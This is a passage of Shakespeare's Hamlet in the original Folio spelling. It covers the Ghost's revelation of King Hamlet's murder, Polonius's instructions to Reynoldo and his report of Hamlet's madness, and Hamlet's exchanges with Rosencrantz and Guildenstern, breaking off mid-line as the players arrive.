burnes, how Prodigall the Soule +Giues the tongue vowes: these blazes, Daughter, +Giuing more light then heate; extinct in both, +Euen in their promise, as it is a making; +You must not take for fire. For this time Daughter, +Be somewhat scanter of your Maiden presence; +Set your entreatments at a higher rate, +Then a command to parley. For Lord Hamlet, +Beleeue so much in him, that he is young, +And with a larger tether may he walke, +Then may be giuen you. In few, Ophelia, +Doe not beleeue his vowes; for they are Broakers, +Not of the eye, which their Inuestments show: +But meere implorators of vnholy Sutes, +Breathing like sanctified and pious bonds, +The better to beguile. This is for all: +I would not, in plaine tearmes, from this time forth, +Haue you so slander any moment leisure, +As to giue words or talke with the Lord Hamlet: +Looke too't, I charge you; come your wayes + + Ophe. I shall obey my Lord. + +Exeunt. + +Enter Hamlet, Horatio, Marcellus. + + Ham. The Ayre bites shrewdly: is it very cold? + Hor. It is a nipping and an eager ayre + + Ham. What hower now? + Hor. I thinke it lacks of twelue + + Mar. No, it is strooke + + Hor. Indeed I heard it not: then it drawes neere the season, +Wherein the Spirit held his wont to walke. +What does this meane my Lord? + Ham. The King doth wake to night, and takes his rouse, +Keepes wassels and the swaggering vpspring reeles, +And as he dreines his draughts of Renish downe, +The kettle Drum and Trumpet thus bray out +The triumph of his Pledge + + Horat. Is it a custome? + Ham. I marry ist; +And to my mind, though I am natiue heere, +And to the manner borne: It is a Custome +More honour'd in the breach, then the obseruance. +Enter Ghost. + + Hor. Looke my Lord, it comes + + Ham. Angels and Ministers of Grace defend vs: +Be thou a Spirit of health, or Goblin damn'd, +Bring with thee ayres from Heauen, or blasts from Hell, +Be thy euents wicked or charitable, +Thou com'st in such a questionable shape +That I will speake to thee. Ile call thee Hamlet, +King, Father, Royall Dane: Oh, oh, answer me, +Let me not burst in Ignorance; but tell +Why thy Canoniz'd bones Hearsed in death, +Haue burst their cerments, why the Sepulcher +Wherein we saw thee quietly enurn'd, +Hath op'd his ponderous and Marble iawes, +To cast thee vp againe? What may this meane? +That thou dead Coarse againe in compleat steele, +Reuisits thus the glimpses of the Moone, +Making Night hidious? And we fooles of Nature, +So horridly to shake our disposition, +With thoughts beyond thee; reaches of our Soules, +Say, why is this? wherefore? what should we doe? + +Ghost beckens Hamlet. + + Hor. It beckons you to goe away with it, +As if it some impartment did desire +To you alone + + Mar. Looke with what courteous action +It wafts you to a more remoued ground: +But doe not goe with it + + Hor. No, by no meanes + + Ham. It will not speake: then will I follow it + + Hor. Doe not my Lord + + Ham. Why, what should be the feare? +I doe not set my life at a pins fee; +And for my Soule, what can it doe to that? +Being a thing immortall as it selfe: +It waues me forth againe; Ile follow it + + Hor. What if it tempt you toward the Floud my Lord? +Or to the dreadfull Sonnet of the Cliffe, +That beetles o're his base into the Sea, +And there assumes some other horrible forme, +Which might depriue your Soueraignty of Reason, +And draw you into madnesse thinke of it? + Ham. It wafts me still: goe on, Ile follow thee + + Mar. You shall not goe my Lord + + Ham. Hold off your hand + + Hor. Be rul'd, you shall not goe + + Ham. My fate cries out, +And makes each petty Artire in this body, +As hardy as the Nemian Lions nerue: +Still am I cal'd? Vnhand me Gentlemen: +By Heau'n, Ile make a Ghost of him that lets me: +I say away, goe on, Ile follow thee. + +Exeunt. Ghost & Hamlet. + + Hor. He waxes desperate with imagination + + Mar. Let's follow; 'tis not fit thus to obey him + + Hor. Haue after, to what issue will this come? + Mar. Something is rotten in the State of Denmarke + + Hor. Heauen will direct it + + Mar. Nay, let's follow him. + +Exeunt. + +Enter Ghost and Hamlet. + + Ham. Where wilt thou lead me? speak; Ile go no further + + Gho. Marke me + + Ham. I will + + Gho. My hower is almost come, +When I to sulphurous and tormenting Flames +Must render vp my selfe + + Ham. Alas poore Ghost + + Gho. Pitty me not, but lend thy serious hearing +To what I shall vnfold + + Ham. Speake, I am bound to heare + + Gho. So art thou to reuenge, when thou shalt heare + + Ham. What? + Gho. I am thy Fathers Spirit, +Doom'd for a certaine terme to walke the night; +And for the day confin'd to fast in Fiers, +Till the foule crimes done in my dayes of Nature +Are burnt and purg'd away? But that I am forbid +To tell the secrets of my Prison-House; +I could a Tale vnfold, whose lightest word +Would harrow vp thy soule, freeze thy young blood, +Make thy two eyes like Starres, start from their Spheres, +Thy knotty and combined lockes to part, +And each particular haire to stand an end, +Like Quilles vpon the fretfull Porpentine: +But this eternall blason must not be +To eares of flesh and bloud; list Hamlet, oh list, +If thou didst euer thy deare Father loue + + Ham. Oh Heauen! + Gho. Reuenge his foule and most vnnaturall Murther + + Ham. Murther? + Ghost. Murther most foule, as in the best it is; +But this most foule, strange, and vnnaturall + + Ham. Hast, hast me to know it, +That with wings as swift +As meditation, or the thoughts of Loue, +May sweepe to my Reuenge + + Ghost. I finde thee apt, +And duller should'st thou be then the fat weede +That rots it selfe in ease, on Lethe Wharfe, +Would'st thou not stirre in this. Now Hamlet heare: +It's giuen out, that sleeping in mine Orchard, +A Serpent stung me: so the whole eare of Denmarke, +Is by a forged processe of my death +Rankly abus'd: But know thou Noble youth, +The Serpent that did sting thy Fathers life, +Now weares his Crowne + + Ham. O my Propheticke soule: mine Vncle? + Ghost. I that incestuous, that adulterate Beast +With witchcraft of his wits, hath Traitorous guifts. +Oh wicked Wit, and Gifts, that haue the power +So to seduce? Won to this shamefull Lust +The will of my most seeming vertuous Queene: +Oh Hamlet, what a falling off was there, +From me, whose loue was of that dignity, +That it went hand in hand, euen with the Vow +I made to her in Marriage; and to decline +Vpon a wretch, whose Naturall gifts were poore +To those of mine. But Vertue, as it neuer wil be moued, +Though Lewdnesse court it in a shape of Heauen: +So Lust, though to a radiant Angell link'd, +Will sate it selfe in a Celestiall bed, & prey on Garbage. +But soft, me thinkes I sent the Mornings Ayre; +Briefe let me be: Sleeping within mine Orchard, +My custome alwayes in the afternoone; +Vpon my secure hower thy Vncle stole +With iuyce of cursed Hebenon in a Violl, +And in the Porches of mine eares did poure +The leaperous Distilment; whose effect +Holds such an enmity with bloud of Man, +That swift as Quick-siluer, it courses through +The naturall Gates and Allies of the body; +And with a sodaine vigour it doth posset +And curd, like Aygre droppings into Milke, +The thin and wholsome blood: so did it mine; +And a most instant Tetter bak'd about, +Most Lazar-like, with vile and loathsome crust, +All my smooth Body. +Thus was I, sleeping, by a Brothers hand, +Of Life, of Crowne, and Queene at once dispatcht; +Cut off euen in the Blossomes of my Sinne, +Vnhouzzled, disappointed, vnnaneld, +No reckoning made, but sent to my account +With all my imperfections on my head; +Oh horrible Oh horrible, most horrible: +If thou hast nature in thee beare it not; +Let not the Royall Bed of Denmarke be +A Couch for Luxury and damned Incest. +But howsoeuer thou pursuest this Act, +Taint not thy mind; nor let thy Soule contriue +Against thy Mother ought; leaue her to heauen, +And to those Thornes that in her bosome lodge, +To pricke and sting her. Fare thee well at once; +The Glow-worme showes the Matine to be neere, +And gins to pale his vneffectuall Fire: +Adue, adue, Hamlet: remember me. +Enter. + + Ham. Oh all you host of Heauen! Oh Earth; what els? +And shall I couple Hell? Oh fie: hold my heart; +And you my sinnewes, grow not instant Old; +But beare me stiffely vp: Remember thee? +I, thou poore Ghost, while memory holds a seate +In this distracted Globe: Remember thee? +Yea, from the Table of my Memory, +Ile wipe away all triuiall fond Records, +All sawes of Bookes, all formes, all presures past, +That youth and obseruation coppied there; +And thy Commandment all alone shall liue +Within the Booke and Volume of my Braine, +Vnmixt with baser matter; yes yes, by Heauen: +Oh most pernicious woman! +Oh Villaine, Villaine, smiling damned Villaine! +My Tables, my Tables; meet it is I set it downe, +That one may smile, and smile and be a Villaine; +At least I'm sure it may be so in Denmarke; +So Vnckle there you are: now to my word; +It is; Adue, Adue, Remember me: I haue sworn't + + Hor. & Mar. within. My Lord, my Lord. +Enter Horatio and Marcellus. + + Mar. Lord Hamlet + + Hor. Heauen secure him + + Mar. So be it + + Hor. Illo, ho, ho, my Lord + + Ham. Hillo, ho, ho, boy; come bird, come + + Mar. How ist my Noble Lord? + Hor. What newes, my Lord? + Ham. Oh wonderfull! + Hor. Good my Lord tell it + + Ham. No you'l reueale it + + Hor. Not I, my Lord, by Heauen + + Mar. Nor I, my Lord + + Ham. How say you then, would heart of man once think it? +But you'l be secret? + Both. I, by Heau'n, my Lord + + Ham. There's nere a villaine dwelling in all Denmarke +But hee's an arrant knaue + + Hor. There needs no Ghost my Lord, come from the +Graue, to tell vs this + + Ham. Why right, you are i'th' right; +And so, without more circumstance at all, +I hold it fit that we shake hands, and part: +You, as your busines and desires shall point you: +For euery man ha's businesse and desire, +Such as it is: and for mine owne poore part, +Looke you, Ile goe pray + + Hor. These are but wild and hurling words, my Lord + + Ham. I'm sorry they offend you heartily: +Yes faith, heartily + + Hor. There's no offence my Lord + + Ham. Yes, by Saint Patricke, but there is my Lord, +And much offence too, touching this Vision heere: +It is an honest Ghost, that let me tell you: +For your desire to know what is betweene vs, +O'remaster't as you may. And now good friends, +As you are Friends, Schollers and Soldiers, +Giue me one poore request + + Hor. What is't my Lord? we will + + Ham. Neuer make known what you haue seen to night + + Both. My Lord, we will not + + Ham. Nay, but swear't + + Hor. Infaith my Lord, not I + + Mar. Nor I my Lord: in faith + + Ham. Vpon my sword + + Marcell. We haue sworne my Lord already + + Ham. Indeed, vpon my sword, Indeed + + Gho. Sweare. + +Ghost cries vnder the Stage. + + Ham. Ah ha boy, sayest thou so. Art thou there truepenny? +Come one you here this fellow in the selleredge +Consent to sweare + + Hor. Propose the Oath my Lord + + Ham. Neuer to speake of this that you haue seene. +Sweare by my sword + + Gho. Sweare + + Ham. Hic & vbique? Then wee'l shift for grownd, +Come hither Gentlemen, +And lay your hands againe vpon my sword, +Neuer to speake of this that you haue heard: +Sweare by my Sword + + Gho. Sweare + + Ham. Well said old Mole, can'st worke i'th' ground so fast? +A worthy Pioner, once more remoue good friends + + Hor. Oh day and night: but this is wondrous strange + + Ham. And therefore as a stranger giue it welcome. +There are more things in Heauen and Earth, Horatio, +Then are dream't of in our Philosophy. But come, +Here as before, neuer so helpe you mercy, +How strange or odde so ere I beare my selfe; +(As I perchance heereafter shall thinke meet +To put an Anticke disposition on:) +That you at such time seeing me, neuer shall +With Armes encombred thus, or thus, head shake; +Or by pronouncing of some doubtfull Phrase; +As well, we know, or we could and if we would, +Or if we list to speake; or there be and if there might, +Or such ambiguous giuing out to note, +That you know ought of me; this not to doe: +So grace and mercy at your most neede helpe you: +Sweare + + Ghost. Sweare + + Ham. Rest, rest perturbed Spirit: so Gentlemen, +With all my loue I doe commend me to you; +And what so poore a man as Hamlet is, +May doe t' expresse his loue and friending to you, +God willing shall not lacke: let vs goe in together, +And still your fingers on your lippes I pray, +The time is out of ioynt: Oh cursed spight, +That euer I was borne to set it right. +Nay, come let's goe together. + +Exeunt. + + +Actus Secundus. + +Enter Polonius, and Reynoldo. + + Polon. Giue him his money, and these notes Reynoldo + + Reynol. I will my Lord + + Polon. You shall doe maruels wisely: good Reynoldo, +Before you visite him you make inquiry +Of his behauiour + + Reynol. My Lord, I did intend it + + Polon. Marry, well said; +Very well said. Looke you Sir, +Enquire me first what Danskers are in Paris; +And how, and who; what meanes; and where they keepe: +What company, at what expence: and finding +By this encompassement and drift of question, +That they doe know my sonne: Come you more neerer +Then your particular demands will touch it, +Take you as 'twere some distant knowledge of him, +And thus I know his father and his friends, +And in part him. Doe you marke this Reynoldo? + Reynol. I, very well my Lord + + Polon. And in part him, but you may say not well; +But if't be hee I meane, hees very wilde; +Addicted so and so; and there put on him +What forgeries you please; marry, none so ranke, +As may dishonour him; take heed of that: +But Sir, such wanton, wild, and vsuall slips, +As are Companions noted and most knowne +To youth and liberty + + Reynol. As gaming my Lord + + Polon. I, or drinking, fencing, swearing, +Quarelling, drabbing. You may goe so farre + + Reynol. My Lord that would dishonour him + + Polon. Faith no, as you may season it in the charge; +You must not put another scandall on him, +That hee is open to Incontinencie; +That's not my meaning: but breath his faults so quaintly, +That they may seeme the taints of liberty; +The flash and out-breake of a fiery minde, +A sauagenes in vnreclaim'd bloud of generall assault + + Reynol. But my good Lord + + Polon. Wherefore should you doe this? + Reynol. I my Lord, I would know that + + Polon. Marry Sir, heere's my drift, +And I belieue it is a fetch of warrant: +You laying these slight sulleyes on my Sonne, +As 'twere a thing a little soil'd i'th' working: +Marke you your party in conuerse; him you would sound, +Hauing euer seene. In the prenominate crimes, +The youth you breath of guilty, be assur'd +He closes with you in this consequence: +Good sir, or so, or friend, or Gentleman. +According to the Phrase and the Addition, +Of man and Country + + Reynol. Very good my Lord + + Polon. And then Sir does he this? +He does: what was I about to say? +I was about say somthing: where did I leaue? + Reynol. At closes in the consequence: +At friend, or so, and Gentleman + + Polon. At closes in the consequence, I marry, +He closes with you thus. I know the Gentleman, +I saw him yesterday, or tother day; +Or then or then, with such and such; and as you say, +There was he gaming, there o'retooke in's Rouse, +There falling out at Tennis; or perchance, +I saw him enter such a house of saile; +Videlicet, a Brothell, or so forth. See you now; +Your bait of falshood, takes this Cape of truth; +And thus doe we of wisedome and of reach +With windlesses, and with assaies of Bias, +By indirections finde directions out: +So by my former Lecture and aduice +Shall you my Sonne; you haue me, haue you not? + Reynol. My Lord I haue + + Polon. God buy you; fare you well + + Reynol. Good my Lord + + Polon. Obserue his inclination in your selfe + + Reynol. I shall my Lord + + Polon. And let him plye his Musicke + + Reynol. Well, my Lord. +Enter. + +Enter Ophelia. + + Polon. Farewell: +How now Ophelia, what's the matter? + Ophe. Alas my Lord, I haue beene so affrighted + + Polon. With what, in the name of Heauen? + Ophe. My Lord, as I was sowing in my Chamber, +Lord Hamlet with his doublet all vnbrac'd, +No hat vpon his head, his stockings foul'd, +Vngartred, and downe giued to his Anckle, +Pale as his shirt, his knees knocking each other, +And with a looke so pitious in purport, +As if he had been loosed out of hell, +To speake of horrors: he comes before me + + Polon. Mad for thy Loue? + Ophe. My Lord, I doe not know: but truly I do feare it + + Polon. What said he? + Ophe. He tooke me by the wrist, and held me hard; +Then goes he to the length of all his arme; +And with his other hand thus o're his brow, +He fals to such perusall of my face, +As he would draw it. Long staid he so, +At last, a little shaking of mine Arme: +And thrice his head thus wauing vp and downe; +He rais'd a sigh, so pittious and profound, +That it did seeme to shatter all his bulke, +And end his being. That done, he lets me goe, +And with his head ouer his shoulders turn'd, +He seem'd to finde his way without his eyes, +For out adores he went without their helpe; +And to the last, bended their light on me + + Polon. Goe with me, I will goe seeke the King, +This is the very extasie of Loue, +Whose violent property foredoes it selfe, +And leads the will to desperate Vndertakings, +As oft as any passion vnder Heauen, +That does afflict our Natures. I am sorrie, +What haue you giuen him any hard words of late? + Ophe. No my good Lord: but as you did command, +I did repell his Letters, and deny'de +His accesse to me + + Pol. That hath made him mad. +I am sorrie that with better speed and iudgement +I had not quoted him. I feare he did but trifle, +And meant to wracke thee: but beshrew my iealousie: +It seemes it is as proper to our Age, +To cast beyond our selues in our Opinions, +As it is common for the yonger sort +To lacke discretion. Come, go we to the King, +This must be knowne, being kept close might moue +More greefe to hide, then hate to vtter loue. + +Exeunt. + + +Scena Secunda. + +Enter King, Queene, Rosincrane, and Guildensterne Cum alijs. + + King. Welcome deere Rosincrance and Guildensterne. +Moreouer, that we much did long to see you, +The neede we haue to vse you, did prouoke +Our hastie sending. Something haue you heard +Of Hamlets transformation: so I call it, +Since not th' exterior, nor the inward man +Resembles that it was. What it should bee +More then his Fathers death, that thus hath put him +So much from th' vnderstanding of himselfe, +I cannot deeme of. I intreat you both, +That being of so young dayes brought vp with him: +And since so Neighbour'd to his youth, and humour, +That you vouchsafe your rest heere in our Court +Some little time: so by your Companies +To draw him on to pleasures, and to gather +So much as from Occasions you may gleane, +That open'd lies within our remedie + + Qu. Good Gentlemen, he hath much talk'd of you, +And sure I am, two men there are not liuing, +To whom he more adheres. If it will please you +To shew vs so much Gentrie, and good will, +As to expend your time with vs a-while, +For the supply and profit of our Hope, +Your Visitation shall receiue such thankes +As fits a Kings remembrance + + Rosin. Both your Maiesties +Might by the Soueraigne power you haue of vs, +Put your dread pleasures, more into Command +Then to Entreatie + + Guil. We both obey, +And here giue vp our selues, in the full bent, +To lay our Seruices freely at your feete, +To be commanded + + King. Thankes Rosincrance, and gentle Guildensterne + + Qu. Thankes Guildensterne and gentle Rosincrance. +And I beseech you instantly to visit +My too much changed Sonne. +Go some of ye, +And bring the Gentlemen where Hamlet is + + Guil. Heauens make our presence and our practises +Pleasant and helpfull to him. +Enter. + + Queene. Amen. +Enter Polonius. + + Pol. Th' Ambassadors from Norwey, my good Lord, +Are ioyfully return'd + + King. Thou still hast bin the father of good Newes + + Pol. Haue I, my Lord? Assure you, my good Liege, +I hold my dutie, as I hold my Soule, +Both to my God, one to my gracious King: +And I do thinke, or else this braine of mine +Hunts not the traile of Policie, so sure +As I haue vs'd to do: that I haue found +The very cause of Hamlets Lunacie + + King. Oh speake of that, that I do long to heare + + Pol. Giue first admittance to th' Ambassadors, +My Newes shall be the Newes to that great Feast + + King. Thy selfe do grace to them, and bring them in. +He tels me my sweet Queene, that he hath found +The head and sourse of all your Sonnes distemper + + Qu. I doubt it is no other, but the maine, +His Fathers death, and our o're-hasty Marriage. +Enter Polonius, Voltumand, and Cornelius. + + King. Well, we shall sift him. Welcome good Frends: +Say Voltumand, what from our Brother Norwey? + Volt. Most faire returne of Greetings, and Desires. +Vpon our first, he sent out to suppresse +His Nephewes Leuies, which to him appear'd +To be a preparation 'gainst the Poleak: +But better look'd into, he truly found +It was against your Highnesse, whereat greeued, +That so his Sicknesse, Age, and Impotence +Was falsely borne in hand, sends out Arrests +On Fortinbras, which he (in breefe) obeyes, +Receiues rebuke from Norwey: and in fine, +Makes Vow before his Vnkle, neuer more +To giue th' assay of Armes against your Maiestie. +Whereon old Norwey, ouercome with ioy, +Giues him three thousand Crownes in Annuall Fee, +And his Commission to imploy those Soldiers +So leuied as before, against the Poleak: +With an intreaty heerein further shewne, +That it might please you to giue quiet passe +Through your Dominions, for his Enterprize, +On such regards of safety and allowance, +As therein are set downe + + King. It likes vs well: +And at our more consider'd time wee'l read, +Answer, and thinke vpon this Businesse. +Meane time we thanke you, for your well-tooke Labour. +Go to your rest, at night wee'l Feast together. +Most welcome home. + +Exit Ambass. + + Pol. This businesse is very well ended. +My Liege, and Madam, to expostulate +What Maiestie should be, what Dutie is, +Why day is day; night, night; and time is time, +Were nothing but to waste Night, Day, and Time. +Therefore, since Breuitie is the Soule of Wit, +And tediousnesse, the limbes and outward flourishes, +I will be breefe. Your Noble Sonne is mad: +Mad call I it; for to define true Madnesse, +What is't, but to be nothing else but mad. +But let that go + + Qu. More matter, with lesse Art + + Pol. Madam, I sweare I vse no Art at all: +That he is mad, 'tis true: 'Tis true 'tis pittie, +And pittie it is true: A foolish figure, +But farewell it: for I will vse no Art. +Mad let vs grant him then: and now remaines +That we finde out the cause of this effect, +Or rather say, the cause of this defect; +For this effect defectiue, comes by cause, +Thus it remaines, and the remainder thus. Perpend, +I haue a daughter: haue, whil'st she is mine, +Who in her Dutie and Obedience, marke, +Hath giuen me this: now gather, and surmise. + +The Letter. + +To the Celestiall, and my Soules Idoll, the most beautifed Ophelia. +That's an ill Phrase, a vilde Phrase, beautified is a vilde +Phrase: but you shall heare these in her excellent white +bosome, these + + Qu. Came this from Hamlet to her + + Pol. Good Madam stay awhile, I will be faithfull. +Doubt thou, the Starres are fire, +Doubt, that the Sunne doth moue: +Doubt Truth to be a Lier, +But neuer Doubt, I loue. +O deere Ophelia, I am ill at these Numbers: I haue not Art to +reckon my grones; but that I loue thee best, oh most Best beleeue +it. Adieu. +Thine euermore most deere Lady, whilst this +Machine is to him, Hamlet. +This in Obedience hath my daughter shew'd me: +And more aboue hath his soliciting, +As they fell out by Time, by Meanes, and Place, +All giuen to mine eare + + King. But how hath she receiu'd his Loue? + Pol. What do you thinke of me? + King. As of a man, faithfull and Honourable + + Pol. I wold faine proue so. But what might you think? +When I had seene this hot loue on the wing, +As I perceiued it, I must tell you that +Before my Daughter told me what might you +Or my deere Maiestie your Queene heere, think, +If I had playd the Deske or Table-booke, +Or giuen my heart a winking, mute and dumbe, +Or look'd vpon this Loue, with idle sight, +What might you thinke? No, I went round to worke, +And (my yong Mistris) thus I did bespeake +Lord Hamlet is a Prince out of thy Starre, +This must not be: and then, I Precepts gaue her, +That she should locke her selfe from his Resort, +Admit no Messengers, receiue no Tokens: +Which done, she tooke the Fruites of my Aduice, +And he repulsed. A short Tale to make, +Fell into a Sadnesse, then into a Fast, +Thence to a Watch, thence into a Weaknesse, +Thence to a Lightnesse, and by this declension +Into the Madnesse whereon now he raues, +And all we waile for + + King. Do you thinke 'tis this? + Qu. It may be very likely + + Pol. Hath there bene such a time, I'de fain know that, +That I haue possitiuely said, 'tis so, +When it prou'd otherwise? + King. Not that I know + + Pol. Take this from this; if this be otherwise, +If Circumstances leade me, I will finde +Where truth is hid, though it were hid indeede +Within the Center + + King. How may we try it further? + Pol. You know sometimes +He walkes foure houres together, heere +In the Lobby + + Qu. So he ha's indeed + + Pol. At such a time Ile loose my Daughter to him, +Be you and I behinde an Arras then, +Marke the encounter: If he loue her not, +And be not from his reason falne thereon; +Let me be no Assistant for a State, +And keepe a Farme and Carters + + King. We will try it. +Enter Hamlet reading on a Booke. + + Qu. But looke where sadly the poore wretch +Comes reading + + Pol. Away I do beseech you, both away, +Ile boord him presently. + +Exit King & Queen. + +Oh giue me leaue. How does my good Lord Hamlet? + Ham. Well, God-a-mercy + + Pol. Do you know me, my Lord? + Ham. Excellent, excellent well: y'are a Fishmonger + + Pol. Not I my Lord + + Ham. Then I would you were so honest a man + + Pol. Honest, my Lord? + Ham. I sir, to be honest as this world goes, is to bee +one man pick'd out of two thousand + + Pol. That's very true, my Lord + + Ham. For if the Sun breed Magots in a dead dogge, +being a good kissing Carrion- +Haue you a daughter? + Pol. I haue my Lord + + Ham. Let her not walke i'thSunne: Conception is a +blessing, but not as your daughter may conceiue. Friend +looke too't + + Pol. How say you by that? Still harping on my daughter: +yet he knew me not at first; he said I was a Fishmonger: +he is farre gone, farre gone: and truly in my youth, +I suffred much extreamity for loue: very neere this. Ile +speake to him againe. What do you read my Lord? + Ham. Words, words, words + + Pol. What is the matter, my Lord? + Ham. Betweene who? + Pol. I meane the matter you meane, my Lord + + Ham. Slanders Sir: for the Satyricall slaue saies here, +that old men haue gray Beards; that their faces are wrinkled; +their eyes purging thicke Amber, or Plum-Tree +Gumme: and that they haue a plentifull locke of Wit, +together with weake Hammes. All which Sir, though I +most powerfully, and potently beleeue; yet I holde it +not Honestie to haue it thus set downe: For you your +selfe Sir, should be old as I am, if like a Crab you could +go backward + + Pol. Though this be madnesse, +Yet there is Method in't: will you walke +Out of the ayre my Lord? + Ham. Into my Graue? + Pol. Indeed that is out o'th' Ayre: +How pregnant (sometimes) his Replies are? +A happinesse, +That often Madnesse hits on, +Which Reason and Sanitie could not +So prosperously be deliuer'd of. +I will leaue him, +And sodainely contriue the meanes of meeting +Betweene him, and my daughter. +My Honourable Lord, I will most humbly +Take my leaue of you + + Ham. You cannot Sir take from me any thing, that I +will more willingly part withall, except my life, my +life + + Polon. Fare you well my Lord + + Ham. These tedious old fooles + + Polon. You goe to seeke my Lord Hamlet; there +hee is. +Enter Rosincran and Guildensterne. + + Rosin. God saue you Sir + + Guild. Mine honour'd Lord? + Rosin. My most deare Lord? + Ham. My excellent good friends? How do'st thou +Guildensterne? Oh, Rosincrane; good Lads: How doe ye +both? + Rosin. As the indifferent Children of the earth + + Guild. Happy, in that we are not ouer-happy: on Fortunes +Cap, we are not the very Button + + Ham. Nor the Soales of her Shoo? + Rosin. Neither my Lord + + Ham. Then you liue about her waste, or in the middle +of her fauour? + Guil. Faith, her priuates, we + + Ham. In the secret parts of Fortune? Oh, most true: +she is a Strumpet. What's the newes? + Rosin. None my Lord; but that the World's growne +honest + + Ham. Then is Doomesday neere: But your newes is +not true. Let me question more in particular: what haue +you my good friends, deserued at the hands of Fortune, +that she sends you to Prison hither? + Guil. Prison, my Lord? + Ham. Denmark's a Prison + + Rosin. Then is the World one + + Ham. A goodly one, in which there are many Confines, +Wards, and Dungeons; Denmarke being one o'th' +worst + + Rosin. We thinke not so my Lord + + Ham. Why then 'tis none to you; for there is nothing +either good or bad, but thinking makes it so: to me it is +a prison + + Rosin. Why then your Ambition makes it one: 'tis +too narrow for your minde + + Ham. O God, I could be bounded in a nutshell, and +count my selfe a King of infinite space; were it not that +I haue bad dreames + + Guil. Which dreames indeed are Ambition: for the +very substance of the Ambitious, is meerely the shadow +of a Dreame + + Ham. A dreame it selfe is but a shadow + + Rosin. Truely, and I hold Ambition of so ayry and +light a quality, that it is but a shadowes shadow + + Ham. Then are our Beggers bodies; and our Monarchs +and out-stretcht Heroes the Beggers Shadowes: +shall wee to th' Court: for, by my fey I cannot reason? + Both. Wee'l wait vpon you + + Ham. No such matter. I will not sort you with the +rest of my seruants: for to speake to you like an honest +man: I am most dreadfully attended; but in the beaten +way of friendship, What make you at Elsonower? + Rosin. To visit you my Lord, no other occasion + + Ham. Begger that I am, I am euen poore in thankes; +but I thanke you: and sure deare friends my thanks +are too deare a halfepeny; were you not sent for? Is it +your owne inclining? Is it a free visitation? Come, +deale iustly with me: come, come; nay speake + + Guil. What should we say my Lord? + Ham. Why any thing. But to the purpose; you were +sent for; and there is a kinde confession in your lookes; +which your modesties haue not craft enough to color, +I know the good King & Queene haue sent for you + + Rosin. To what end my Lord? + Ham. That you must teach me: but let mee coniure +you by the rights of our fellowship, by the consonancy of +our youth, by the Obligation of our euer-preserued loue, +and by what more deare, a better proposer could charge +you withall; be euen and direct with me, whether you +were sent for or no + + Rosin. What say you? + Ham. Nay then I haue an eye of you: if you loue me +hold not off + + Guil. My Lord, we were sent for + + Ham. I will tell you why; so shall my anticipation +preuent your discouery of your secricie to the King and +Queene: moult no feather, I haue of late, but wherefore +I know not, lost all my mirth, forgone all custome of exercise; +and indeed, it goes so heauenly with my disposition; +that this goodly frame the Earth, seemes to me a sterrill +Promontory; this most excellent Canopy the Ayre, +look you, this braue ore-hanging, this Maiesticall Roofe, +fretted with golden fire: why, it appeares no other thing +to mee, then a foule and pestilent congregation of vapours. +What a piece of worke is a man! how Noble in +Reason? how infinite in faculty? in forme and mouing +how expresse and admirable? in Action, how like an Angel? +in apprehension, how like a God? the beauty of the +world, the Parragon of Animals; and yet to me, what is +this Quintessence of Dust? Man delights not me; no, +nor Woman neither; though by your smiling you seeme +to say so + + Rosin. My Lord, there was no such stuffe in my +thoughts + + Ham. Why did you laugh, when I said, Man delights +not me? + Rosin. To thinke, my Lord, if you delight not in Man, +what Lenton entertainment the Players shall receiue +from you: wee coated them on the way, and hither are +they comming to offer you Seruice + + Ham. He that playes the King shall be welcome; his +Maiesty shall haue Tribute of mee: the aduenturous +Knight shal vse his Foyle and Target: the Louer shall +not sigh gratis, the humorous man shall end his part in +peace: the Clowne shall make those laugh whose lungs +are tickled a'th' sere: and the Lady shall say her minde +freely; or the blanke Verse shall halt for't: what Players +are they? + Rosin. Euen those you were wont to take delight in +the Tragedians of the City + + Ham. How chances it they trauaile? their residence +both in reputation and profit was better both +wayes + + Rosin. I thinke their Inhibition comes by the meanes +of the late Innouation? + Ham. Doe they hold the same estimation they did +when I was in the City? Are they so follow'd? + Rosin. No indeed, they are not + + Ham. How comes it? doe they grow rusty? + Rosin. Nay, their indeauour keepes in the wonted +pace; But there is Sir an ayrie of Children, little +Yases, that crye out on the top of question; and +are most tyrannically clap't for't: these are now the +fashion, and so be-ratled the common Stages (so they +call them) that many wearing Rapiers, are affraide of +Goose-quils, and dare scarse come thither + + Ham. What are they Children? Who maintains 'em? +How are they escorted? Will they pursue the Quality no +longer then they can sing? Will they not say afterwards +if they should grow themselues to common Players (as +it is most like if their meanes are not better) their Writers +do them wrong, to make them exclaim against their +owne Succession + + Rosin. Faith there ha's bene much to do on both sides: +and the Nation holds it no sinne, to tarre them to Controuersie. +There was for a while, no mony bid for argument, +vnlesse the Poet and the Player went to Cuffes in +the Question + + Ham. Is't possible? + Guild. Oh there ha's beene much throwing about of +Braines + + Ham. Do the Boyes carry it away? + Rosin. I that they do my Lord. Hercules & his load too + + Ham. It is not strange: for mine Vnckle is King of +Denmarke, and those that would make mowes at him +while my Father liued; giue twenty, forty, an hundred +Ducates a peece, for his picture in Little. There is something +in this more then Naturall, if Philosophie could +finde it out. + +Flourish for the Players. + + Guil. There are the Players + + Ham. Gentlemen, you are welcom to Elsonower: your +hands, come: The appurtenance of Welcome, is Fashion +and Ceremony. Let me comply with you in the Garbe, +lest my extent to the Players (which I tell you must shew +fairely outward) should more appeare like entertainment +then yours. You are welcome: but my Vnckle Father, +and Aunt Mother are deceiu'd + + Guil. In what my deere Lord? + Ham. I am but mad North, North-West: when the +Winde is Southerly, I know a Hawke from a Handsaw. +Enter Polonius. + + Pol. Well be with you Gentlemen + + Ham. Hearke you Guildensterne, and you too: at each +eare a hearer: that great Baby you see there, is not yet +out of his swathing clouts + + Rosin. Happily he's the second time come to them: for +they say, an old man is twice a childe + + Ham. I will Prophesie. Hee comes to tell me of the +Players. Mark it, you say right Sir: for a Monday morning +'twas so indeed + + Pol. My Lord, I haue Newes to tell you + + Ham. My Lord, I haue Newes to tell you. +When Rossius an Actor in Rome- + Pol. The Actors are come hither my Lord + + Ham. Buzze, buzze + + Pol. Vpon mine Honor + + Ham. Then can each Actor on his Asse- + Polon. The best Actors in the world, either for Tragedie, +Comedie, Historie, Pastorall: +Pastoricall-Comicall-Historicall-Pastorall: +Tragicall-Historicall: Tragicall-Comicall-Historicall-Pastorall: +Scene indiuidible: or Poem +vnlimited. Seneca cannot be too heauy, nor Plautus +too light, for the law of Writ, and the Liberty. These are +the onely men + + Ham. O Iephta Iudge of Israel, what a Treasure had'st +thou? + Pol. What a Treasure had he, my Lord? + Ham. Why one faire Daughter, and no more, +The which he loued passing well + + Pol. Still on my 